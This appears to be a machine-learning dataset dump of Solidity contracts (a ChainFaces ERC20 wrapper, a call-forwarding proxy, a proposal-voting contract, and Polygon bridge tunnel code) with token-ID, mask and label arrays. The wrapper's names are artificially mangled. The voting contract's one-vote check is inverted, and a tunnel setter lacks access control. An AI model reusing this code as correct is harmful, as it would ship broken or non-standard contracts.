[ 1, 565, 445, 6617, 537, 12, 2867, 389, 87, 1302, 264, 16, 2254, 5034, 389, 1132, 13, 1071, 1135, 261, 6430, 2216, 1769, 203, 6430, 7516, 329, 67, 56, 1212, 5082, 273, 629, 31, 203, 2867, 225, 3410, 67, 56, 1212, 5082, 31, 203, 11890, 5034, 19890, 67, 56, 1212, 5082, 31, 203, 915, 444, 17631, 1060, 67, 56, 1212, 5082, 1435, 1071, 225, 288, 203, 3639, 2583, 16051, 14784, 329, 67, 56, 1212, 5082, 1769, 203, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 67, 56, 1212, 5082, 1769, 203, 3639, 3410, 67, 56, 1212, 5082, 18, 13866, 12, 266, 2913, 67, 56, 1212, 5082, 1769, 203, 3639, 19890, 67, 56, 1212, 5082, 273, 1234, 18, 1132, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; interface IERC20 { function TRANSFER724(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function APPROVE450(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM582(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TOTALSUPPLY554() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF56(address who) external view returns (uint256); //inject NONSTANDARD NAMING function ALLOWANCE828(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING event TRANSFER888(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL427(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function MUL717(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function DIV665(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function SUB307(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a); uint256 c = a - b; return c; } function ADD782(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a); return c; } function MOD290(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function TOTALSUPPLY554() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF56(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[owner]; } function ALLOWANCE828(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowed[owner][spender]; } function TRANSFER724(address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER626(msg.sender, to, value); return true; } function APPROVE450(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING require(spender != address(0)); _allowed[msg.sender][spender] = value; emit APPROVAL427(msg.sender, spender, value); return true; } function TRANSFERFROM582(address from, address to, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _allowed[from][msg.sender] = _allowed[from][msg.sender].SUB307(value); _TRANSFER626(from, to, value); emit APPROVAL427(from, msg.sender, _allowed[from][msg.sender]); return true; } function INCREASEALLOWANCE446(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].ADD782(addedValue); emit APPROVAL427(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function DECREASEALLOWANCE961(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].SUB307(subtractedValue); emit APPROVAL427(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _TRANSFER626(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING require(to != address(0)); _balances[from] = _balances[from].SUB307(value); _balances[to] = _balances[to].ADD782(value); emit TRANSFER888(from, to, value); } function _MINT544(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.ADD782(value); _balances[account] = _balances[account].ADD782(value); emit TRANSFER888(address(0), account, value); } function _BURN975(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(account != address(0)); _totalSupply = _totalSupply.SUB307(value); _balances[account] = _balances[account].SUB307(value); emit TRANSFER888(account, address(0), value); } function _BURNFROM846(address account, uint256 value) internal { //inject NONSTANDARD NAMING _allowed[account][msg.sender] = _allowed[account][msg.sender].SUB307(value); _BURN975(account, value); emit APPROVAL427(account, msg.sender, _allowed[account][msg.sender]); } } contract ReentrancyGuard { uint256 private _guardCounter; constructor() public { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } modifier NONREENTRANT386() { //inject NONSTANDARD NAMING _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract WrappedCF is ERC20, ReentrancyGuard { // OpenZeppelin's SafeMath library is used for all arithmetic operations to avoid overflows/underflows. using SafeMath for uint256; event DEPOSITCHAINFACEANDMINTTOKEN337( //inject NONSTANDARD NAMING uint256 chainFaceId ); event BURNTOKENANDWITHDRAWCHAINFACE646( //inject NONSTANDARD NAMING uint256 chainFaceId ); uint256[] private depositedChainFacesArray; mapping (uint256 => bool) private chainFaceIsDepositedInContract; uint8 constant public decimals546 = 18; //inject NONSTANDARD NAMING string constant public name676 = "Wrapped ChainFaces"; //inject NONSTANDARD NAMING string constant public symbol233 = "WCF"; //inject NONSTANDARD NAMING address public chainFaceCoreAddress = 0x91047Abf3cAb8da5A9515c8750Ab33B4f1560a7A; ChainFaceCore chainFaceCore; function DEPOSITCHAINFACESANDMINTTOKENS562(uint256[] calldata _chainFaceIds) external NONREENTRANT386 { //inject NONSTANDARD NAMING require(_chainFaceIds.length > 0, 'you must submit an array with at least one element'); for(uint i = 0; i < _chainFaceIds.length; i++){ uint256 chainFaceToDeposit = _chainFaceIds[i]; require(msg.sender == chainFaceCore.OWNEROF414(chainFaceToDeposit), 'you do not own this ChainFace'); require(chainFaceCore.chainFaceIndexToApproved(chainFaceToDeposit) == address(this), 'you must approve() this contract to give it permission to withdraw this ChainFace before you can deposit a ChainFace'); chainFaceCore.TRANSFERFROM582(msg.sender, address(this), chainFaceToDeposit); _PUSHCHAINFACE471(chainFaceToDeposit); emit DEPOSITCHAINFACEANDMINTTOKEN337(chainFaceToDeposit); } _MINT544(msg.sender, (_chainFaceIds.length).MUL717(10**18)); } function BURNTOKENSANDWITHDRAWCHAINFACES175(uint256[] calldata _chainFaceIds, address[] calldata _destinationAddresses) external NONREENTRANT386 { //inject NONSTANDARD NAMING require(_chainFaceIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the ChainFaces you wish to withdraw'); require(_chainFaceIds.length > 0, 'you must submit an array with at least one element'); uint256 numTokensToBurn = _chainFaceIds.length; require(BALANCEOF56(msg.sender) >= numTokensToBurn.MUL717(10**18), 'you do not own enough tokens to withdraw this many ERC721 ChainFaces'); _BURN975(msg.sender, numTokensToBurn.MUL717(10**18)); for(uint i = 0; i < numTokensToBurn; i++){ uint256 chainFaceToWithdraw = _chainFaceIds[i]; if(chainFaceToWithdraw == 0){ chainFaceToWithdraw = _POPCHAINFACE288(); } else { require(chainFaceIsDepositedInContract[chainFaceToWithdraw] == true, 'this chainFace has already been withdrawn'); require(address(this) == chainFaceCore.OWNEROF414(chainFaceToWithdraw), 'the contract does not own this ChainFace'); chainFaceIsDepositedInContract[chainFaceToWithdraw] = false; } chainFaceCore.TRANSFER724(_destinationAddresses[i], chainFaceToWithdraw); emit BURNTOKENANDWITHDRAWCHAINFACE646(chainFaceToWithdraw); } } function _PUSHCHAINFACE471(uint256 _chainFaceIds) internal { //inject NONSTANDARD NAMING depositedChainFacesArray.push(_chainFaceIds); chainFaceIsDepositedInContract[_chainFaceIds] = true; } function _POPCHAINFACE288() internal returns(uint256){ //inject NONSTANDARD NAMING require(depositedChainFacesArray.length > 0, 'there are no ChainFaces in the array'); uint256 chainFaceId = depositedChainFacesArray[depositedChainFacesArray.length - 1]; depositedChainFacesArray.length--; while(chainFaceIsDepositedInContract[chainFaceId] == false){ chainFaceId = depositedChainFacesArray[depositedChainFacesArray.length - 1]; depositedChainFacesArray.length--; } chainFaceIsDepositedInContract[chainFaceId] = false; return chainFaceId; } function BATCHREMOVEWITHDRAWNCHAINFACESFROMSTORAGE793(uint256 _numSlotsToCheck) external { //inject NONSTANDARD NAMING require(_numSlotsToCheck <= depositedChainFacesArray.length, 'you are trying to batch remove more slots than exist in the array'); uint256 arrayIndex = depositedChainFacesArray.length; for(uint i = 0; i < _numSlotsToCheck; i++){ arrayIndex = arrayIndex.SUB307(1); uint256 chainFaceId = depositedChainFacesArray[arrayIndex]; if(chainFaceIsDepositedInContract[chainFaceId] == false){ depositedChainFacesArray.length--; } else { return; } } } constructor() public { chainFaceCore = ChainFaceCore(chainFaceCoreAddress); } function() external payable {} } contract ChainFaceCore { function OWNEROF414(uint256 _tokenId) public view returns (address owner); //inject NONSTANDARD NAMING function TRANSFERFROM582(address _from, address _to, uint256 _tokenId) external; //inject NONSTANDARD NAMING function TRANSFER724(address _to, uint256 _tokenId) external; //inject NONSTANDARD NAMING mapping (uint256 => address) public chainFaceIndexToApproved; }
inject NONSTANDARD NAMING
function BATCHREMOVEWITHDRAWNCHAINFACESFROMSTORAGE793(uint256 _numSlotsToCheck) external {
2,579,040
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 605, 5858, 22122, 9147, 28446, 5665, 1792, 6964, 11300, 55, 11249, 19009, 7235, 23, 12, 11890, 5034, 389, 2107, 16266, 18126, 13, 3903, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
contract complex{ address add; uint aa; uint bb; function thrower() { throw; } function toggle() returns(uint){ if (aa > 0) aa=0; else aa =1; if (bb > 0) bb=0; else bb = 1; return 0x1337; } } contract proxy{ address add; uint aa; uint bb; function proxy(address a){ add = a; } function (){ assembly{ //gas needs to be uint:ed let g := and(gas,0xEFFFFFFF) let o_code := mload(0x40) //Memory end //Address also needs to be masked //Also, important, storage location must be correct // sload(0) is dependant on the order of declaration above let addr := and(sload(0),0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) //Dest address //Get call data (method sig & params) calldatacopy(o_code, 0, calldatasize) //callcode( let retval := call(g , addr //address , 0 //value , o_code //mem in , calldatasize //mem_insz , o_code //reuse mem , 32) //We expect no return data // Check return value // 0 == it threw, so we do aswell by jumping to // bad destination (02) jumpi(0x02,iszero(retval)) // return(p,s) : end execution, return data mem[p..(p+s)) return(o_code,32) } } }
gas needs to be uint:edAddress also needs to be maskedAlso, important, storage location must be correct sload(0) is dependant on the order of declaration aboveGet call data (method sig & params)callcode( Check return value 0 == it threw, so we do aswell by jumping to bad destination (02) return(p,s) : end execution, return data mem[p..(p+s))
function (){ assembly{ let g := and(gas,0xEFFFFFFF) calldatacopy(o_code, 0, calldatasize) let retval := call(g jumpi(0x02,iszero(retval)) return(o_code,32) } }
2,565,336
[ 1, 31604, 4260, 358, 506, 2254, 30, 329, 1887, 2546, 4260, 358, 506, 13196, 1067, 2048, 16, 10802, 16, 2502, 2117, 1297, 506, 3434, 272, 945, 12, 20, 13, 353, 2447, 970, 603, 326, 1353, 434, 8266, 5721, 967, 745, 501, 261, 2039, 3553, 473, 859, 13, 1991, 710, 12, 2073, 327, 460, 374, 422, 518, 21146, 16, 1427, 732, 741, 487, 30389, 635, 525, 379, 1382, 358, 5570, 2929, 261, 3103, 13, 327, 12, 84, 16, 87, 13, 294, 679, 4588, 16, 327, 501, 1663, 63, 84, 838, 12, 84, 15, 87, 3719, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1832, 95, 203, 202, 202, 28050, 95, 203, 203, 1082, 202, 1810, 314, 519, 471, 12, 31604, 16, 20, 17432, 18343, 42, 13, 203, 1082, 202, 1991, 892, 3530, 12, 83, 67, 710, 16, 374, 16, 745, 13178, 554, 13, 203, 1082, 202, 1810, 5221, 519, 745, 12, 75, 203, 6862, 203, 1082, 202, 24574, 77, 12, 20, 92, 3103, 16, 291, 7124, 12, 18341, 3719, 203, 203, 1082, 202, 2463, 12, 83, 67, 710, 16, 1578, 13, 203, 202, 202, 97, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "../node_modules/@openzeppelin/contracts/access/Ownable.sol"; /** * @dev System of propositions * This is not a poll, users can only vote YES or NO on proposals they have authorization * Management people can create proposes and autorized people can vote yes or no. * user can only vote on proposal in which he was authorized */ enum VoteOption { NONE, YES, NO } struct Proposal { address proposedBy; string proposalName; string proposalDescription; uint32 upVotes; // max votes 4294967296 uint32 downVotes; bool openedToVote; bool closed; // never receive more votes } contract ProposalsVoting is Ownable { mapping(address => bool) public autorizedUsersToPropose; // people autorized to propose mapping(address => mapping(uint256 => bool)) public proposalAutorizations; // user can only vote on proposal in which he was authorized mapping(address => mapping(uint256 => VoteOption)) public proposalUserVotes; // how each user voted on each proposal Proposal[] public proposals; // all proposals and vote counts event AutorizePropose(address user); event IncludeProposal(address user, string proposal); event AutorizeUserToVoteInProposal(address user, uint256 proposal); event Vote(address user, uint256 proposal, VoteOption vote); modifier onlyAutorizedToPropose() { require( autorizedUsersToPropose[msg.sender], "User is not autorized to propose" ); _; } modifier onlyAutorizedToVote(uint256 _proposal) { require( proposalAutorizations[msg.sender][_proposal], "User is not autorized to vote in this Proposal" ); _; } modifier onlyOneVoteByProposal(uint256 _proposal) { require( proposalUserVotes[msg.sender][_proposal] != VoteOption.NONE, "You have already voted in this propose" ); _; } modifier onlyWhoPropose(uint256 _proposal) { require(proposals[_proposal].proposedBy == msg.sender); _; } /* this authorization is necessary to add proposal */ function autorizePropose(address[] memory _users) public onlyOwner { for (uint256 i = 0; i < _users.length; i++) { autorizedUsersToPropose[_users[i]] = true; emit AutorizePropose(_users[i]); } } function autorizePropose(address _user) public onlyOwner { autorizedUsersToPropose[_user] = true; emit AutorizePropose(_user); } function includeProposal( string memory _proposalName, string memory _proposalDescription ) public onlyAutorizedToPropose { proposals.push( Proposal( msg.sender, _proposalName, _proposalDescription, 0, 0, false, false ) ); emit IncludeProposal(msg.sender, _proposalName); } function startProposalVoting(uint256 _proposal) public onlyWhoPropose(_proposal) { require( !proposals[_proposal].closed, "Votation in this proposal is permanently closed" ); proposals[_proposal].openedToVote = true; } function closeProposalVoting(uint256 _proposal) public onlyWhoPropose(_proposal) { proposals[_proposal].closed = true; } /* authorization to vote in specified proposal */ function autorizeUserToVoteInProposal(uint256 _proposal, address _user) public onlyOwner { require(_proposal <= (proposals.length - 1), "This proposal not exist"); proposalAutorizations[_user][_proposal] = true; emit AutorizeUserToVoteInProposal(_user, _proposal); } function autorizeUserToVoteInProposal( uint256 _proposal, address[] memory _users ) public onlyOwner { require(_proposal <= (proposals.length - 1), "This proposal not exist"); for (uint256 i = 0; i < _users.length; i++) { proposalAutorizations[_users[i]][_proposal] = true; emit AutorizeUserToVoteInProposal(_users[i], _proposal); } } function vote(uint256 _proposal, VoteOption _vote) public onlyAutorizedToVote(_proposal) onlyOneVoteByProposal(_proposal) { // prevent multiple votes by re-entrancy attack proposalUserVotes[msg.sender][_proposal] = _vote; // increase counter if (_vote == VoteOption.YES) { proposals[_proposal].upVotes += 1; } else if (_vote == VoteOption.NO) { proposals[_proposal].downVotes += 1; } emit Vote(msg.sender, _proposal, _vote); } }
user can only vote on proposal in which he was authorized
mapping(address => mapping(uint256 => bool)) public proposalAutorizations;
6,435,315
[ 1, 1355, 848, 1338, 12501, 603, 14708, 316, 1492, 3904, 1703, 10799, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 5034, 516, 1426, 3719, 1071, 14708, 37, 3408, 7089, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity 0.8.9; pragma experimental ABIEncoderV2; import "../polygon/tunnel/FxBaseRootTunnel.sol"; import "./MessengerWrapper.sol"; /** * @dev A MessengerWrapper for Polygon - https://docs.matic.network/docs * @notice Deployed on layer-1 */ contract PolygonMessengerWrapper is FxBaseRootTunnel, MessengerWrapper { constructor( address _l1BridgeAddress, address _checkpointManager, address _fxRoot, address _fxChildTunnel ) public MessengerWrapper(_l1BridgeAddress) FxBaseRootTunnel(_checkpointManager, _fxRoot) { setFxChildTunnel(_fxChildTunnel); } /** * @dev Sends a message to the l2MessengerProxy from layer-1 * @param _calldata The data that l2MessengerProxy will be called with * @notice The msg.sender is sent to the L2_PolygonMessengerProxy and checked there. */ function sendCrossDomainMessage(bytes memory _calldata) public override { _sendMessageToChild( abi.encode(msg.sender, _calldata) ); } function verifySender(address l1BridgeCaller, bytes memory /*_data*/) public view override { require(l1BridgeCaller == address(this), "L1_PLGN_WPR: Caller must be this contract"); } function _processMessageFromChild(bytes memory message) internal override { (bool success,) = l1BridgeAddress.call(message); require(success, "L1_PLGN_WPR: Call to L1 Bridge failed"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {RLPReader} from "../lib/RLPReader.sol"; import {MerklePatriciaProof} from "../lib/MerklePatriciaProof.sol"; import {Merkle} from "../lib/Merkle.sol"; import "../lib/ExitPayloadReader.sol"; interface IFxStateSender { function sendMessageToChild(address _receiver, bytes calldata _data) external; } contract ICheckpointManager { struct HeaderBlock { bytes32 root; uint256 start; uint256 end; uint256 createdAt; address proposer; } /** * @notice mapping of checkpoint header numbers to block details * @dev These checkpoints are submited by plasma contracts */ mapping(uint256 => HeaderBlock) public headerBlocks; } abstract contract FxBaseRootTunnel { using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using ExitPayloadReader for bytes; using ExitPayloadReader for ExitPayloadReader.ExitPayload; using ExitPayloadReader for ExitPayloadReader.Log; using ExitPayloadReader for ExitPayloadReader.LogTopics; using ExitPayloadReader for ExitPayloadReader.Receipt; // keccak256(MessageSent(bytes)) bytes32 public constant SEND_MESSAGE_EVENT_SIG = 0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036; // state sender contract IFxStateSender public fxRoot; // root chain manager ICheckpointManager public checkpointManager; // child tunnel contract which receives and sends messages address public fxChildTunnel; // storage to avoid duplicate exits mapping(bytes32 => bool) public processedExits; constructor(address _checkpointManager, address _fxRoot) { checkpointManager = ICheckpointManager(_checkpointManager); fxRoot = IFxStateSender(_fxRoot); } // set fxChildTunnel if not set already function setFxChildTunnel(address _fxChildTunnel) public { require(fxChildTunnel == address(0x0), "FxBaseRootTunnel: CHILD_TUNNEL_ALREADY_SET"); fxChildTunnel = _fxChildTunnel; } /** * @notice Send bytes message to Child Tunnel * @param message bytes message that will be sent to Child Tunnel * some message examples - * abi.encode(tokenId); * abi.encode(tokenId, tokenMetadata); * abi.encode(messageType, messageData); */ function _sendMessageToChild(bytes memory message) internal { fxRoot.sendMessageToChild(fxChildTunnel, message); } function _validateAndExtractMessage(bytes memory inputData) internal returns (bytes memory) { ExitPayloadReader.ExitPayload memory payload = inputData.toExitPayload(); bytes memory branchMaskBytes = payload.getBranchMaskAsBytes(); uint256 blockNumber = payload.getBlockNumber(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( blockNumber, // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(branchMaskBytes), payload.getReceiptLogIndex() ) ); require(processedExits[exitHash] == false, "FxRootTunnel: EXIT_ALREADY_PROCESSED"); processedExits[exitHash] = true; ExitPayloadReader.Receipt memory receipt = payload.getReceipt(); ExitPayloadReader.Log memory log = receipt.getLog(); // check child tunnel require(fxChildTunnel == log.getEmitter(), "FxRootTunnel: INVALID_FX_CHILD_TUNNEL"); bytes32 receiptRoot = payload.getReceiptRoot(); // verify receipt inclusion require( MerklePatriciaProof.verify(receipt.toBytes(), branchMaskBytes, payload.getReceiptProof(), receiptRoot), "FxRootTunnel: INVALID_RECEIPT_PROOF" ); // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( 